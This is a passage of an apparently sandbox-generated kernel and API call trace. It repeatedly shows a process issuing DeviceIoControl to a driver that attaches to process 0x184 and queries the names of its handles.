Size=0x808) returned 0x1e315e0 [0103.286] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.286] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.286] PsAcquireProcessExitSynchronization () returned 0x0 [0103.286] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.287] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001232c00, HandleInformation=0x0) returned 0x0 [0103.287] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.287] PsReleaseProcessExitSynchronization () returned 0x2 [0103.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.287] ObQueryNameString (in: Object=0xfffff8a001232c00, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.287] ObfDereferenceObject (Object=0xfffff8a001232c00) returned 0x1 [0103.287] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.287] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.287] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.287] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.287] PsAcquireProcessExitSynchronization () returned 0x0 [0103.287] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.287] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001685cc0, HandleInformation=0x0) returned 0x0 [0103.287] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.287] PsReleaseProcessExitSynchronization () returned 0x2 [0103.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.287] ObQueryNameString (in: Object=0xfffff8a001685cc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.287] ObfDereferenceObject (Object=0xfffff8a001685cc0) returned 0x1 [0103.287] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.287] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.287] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.287] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.287] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.287] PsAcquireProcessExitSynchronization () returned 0x0 [0103.287] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.287] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001523570, HandleInformation=0x0) returned 0x0 [0103.287] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.287] PsReleaseProcessExitSynchronization () returned 0x2 [0103.287] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x144 [0103.287] ObQueryNameString (in: Object=0xfffff8a001523570, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.287] ObfDereferenceObject (Object=0xfffff8a001523570) returned 0x1 [0103.287] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.288] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.288] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.288] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.288] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.288] PsAcquireProcessExitSynchronization () returned 0x0 [0103.288] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.288] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001527770, HandleInformation=0x0) returned 0x0 [0103.288] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.288] PsReleaseProcessExitSynchronization () returned 0x2 [0103.523] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.523] ObQueryNameString (in: Object=0xfffff8a001527770, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.523] ObfDereferenceObject (Object=0xfffff8a001527770) returned 0x1 [0103.523] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.523] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.523] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.523] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.523] PsAcquireProcessExitSynchronization () returned 0x0 [0103.523] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.523] ObReferenceObjectByHandle (in: Handle=0x16c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00152e880, HandleInformation=0x0) returned 0x0 [0103.523] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.523] PsReleaseProcessExitSynchronization () returned 0x2 [0103.523] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.523] ObQueryNameString (in: Object=0xfffff8a00152e880, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.523] ObfDereferenceObject (Object=0xfffff8a00152e880) returned 0x1 [0103.523] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.524] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.524] PsAcquireProcessExitSynchronization () returned 0x0 [0103.524] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.524] ObReferenceObjectByHandle (in: Handle=0x170, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001d0a770, HandleInformation=0x0) returned 0x0 [0103.524] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.524] PsReleaseProcessExitSynchronization () returned 0x2 [0103.524] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.524] ObQueryNameString (in: Object=0xfffff8a001d0a770, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.524] ObfDereferenceObject (Object=0xfffff8a001d0a770) returned 0x1 [0103.524] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.524] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.524] PsAcquireProcessExitSynchronization () returned 0x0 [0103.524] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.524] ObReferenceObjectByHandle (in: Handle=0x174, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0015484a0, HandleInformation=0x0) returned 0x0 [0103.524] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.524] PsReleaseProcessExitSynchronization () returned 0x2 [0103.524] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.524] ObQueryNameString (in: Object=0xfffff8a0015484a0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.524] ObfDereferenceObject (Object=0xfffff8a0015484a0) returned 0x1 [0103.524] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.524] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.524] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.524] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.524] PsAcquireProcessExitSynchronization () returned 0x0 [0103.524] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.525] ObReferenceObjectByHandle (in: Handle=0x178, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001566750, HandleInformation=0x0) returned 0x0 [0103.525] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.525] PsReleaseProcessExitSynchronization () returned 0x2 [0103.525] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.525] ObQueryNameString (in: Object=0xfffff8a001566750, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.525] ObfDereferenceObject (Object=0xfffff8a001566750) returned 0x1 [0103.525] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.525] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.525] PsAcquireProcessExitSynchronization () returned 0x0 [0103.525] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.525] ObReferenceObjectByHandle (in: Handle=0x17c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001558990, HandleInformation=0x0) returned 0x0 [0103.525] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.525] PsReleaseProcessExitSynchronization () returned 0x2 [0103.525] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.525] ObQueryNameString (in: Object=0xfffff8a001558990, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.525] ObfDereferenceObject (Object=0xfffff8a001558990) returned 0x1 [0103.525] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.525] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.525] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.525] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.525] PsAcquireProcessExitSynchronization () returned 0x0 [0103.525] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.525] ObReferenceObjectByHandle (in: Handle=0x184, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0015bffc0, HandleInformation=0x0) returned 0x0 [0103.525] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.526] PsReleaseProcessExitSynchronization () returned 0x2 [0103.526] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.526] ObQueryNameString (in: Object=0xfffff8a0015bffc0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.526] ObfDereferenceObject (Object=0xfffff8a0015bffc0) returned 0x1 [0103.526] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.526] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.526] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.526] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.526] PsAcquireProcessExitSynchronization () returned 0x0 [0103.526] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.526] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001df1770, HandleInformation=0x0) returned 0x0 [0103.526] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.526] PsReleaseProcessExitSynchronization () returned 0x2 [0103.526] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.526] ObQueryNameString (in: Object=0xfffff8a001df1770, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.526] ObfDereferenceObject (Object=0xfffff8a001df1770) returned 0x1 [0103.526] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.526] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.526] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.526] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.526] PsAcquireProcessExitSynchronization () returned 0x0 [0103.526] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.526] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00180a5e0, HandleInformation=0x0) returned 0x0 [0103.526] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.527] PsReleaseProcessExitSynchronization () returned 0x2 [0103.527] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.527] ObQueryNameString (in: Object=0xfffff8a00180a5e0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.527] ObfDereferenceObject (Object=0xfffff8a00180a5e0) returned 0x1 [0103.527] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.527] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.527] PsAcquireProcessExitSynchronization () returned 0x0 [0103.527] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.527] ObReferenceObjectByHandle (in: Handle=0x1e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a13540, HandleInformation=0x0) returned 0x0 [0103.527] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.527] PsReleaseProcessExitSynchronization () returned 0x2 [0103.527] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.527] ObQueryNameString (in: Object=0xfffff8a001a13540, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.527] ObfDereferenceObject (Object=0xfffff8a001a13540) returned 0x1 [0103.527] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.527] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.527] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.527] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.527] PsAcquireProcessExitSynchronization () returned 0x0 [0103.527] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.527] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001248470, HandleInformation=0x0) returned 0x0 [0103.527] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.527] PsReleaseProcessExitSynchronization () returned 0x2 [0103.528] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.528] ObQueryNameString (in: Object=0xfffff8a001248470, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.528] ObfDereferenceObject (Object=0xfffff8a001248470) returned 0x1 [0103.528] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.528] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.528] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.528] PsAcquireProcessExitSynchronization () returned 0x0 [0103.528] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.528] ObReferenceObjectByHandle (in: Handle=0x1f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00193ffc0, HandleInformation=0x0) returned 0x0 [0103.528] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.528] PsReleaseProcessExitSynchronization () returned 0x2 [0103.528] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.528] ObQueryNameString (in: Object=0xfffff8a00193ffc0, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.528] ObfDereferenceObject (Object=0xfffff8a00193ffc0) returned 0x1 [0103.528] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.528] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.528] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.528] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.528] PsAcquireProcessExitSynchronization () returned 0x0 [0103.528] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: 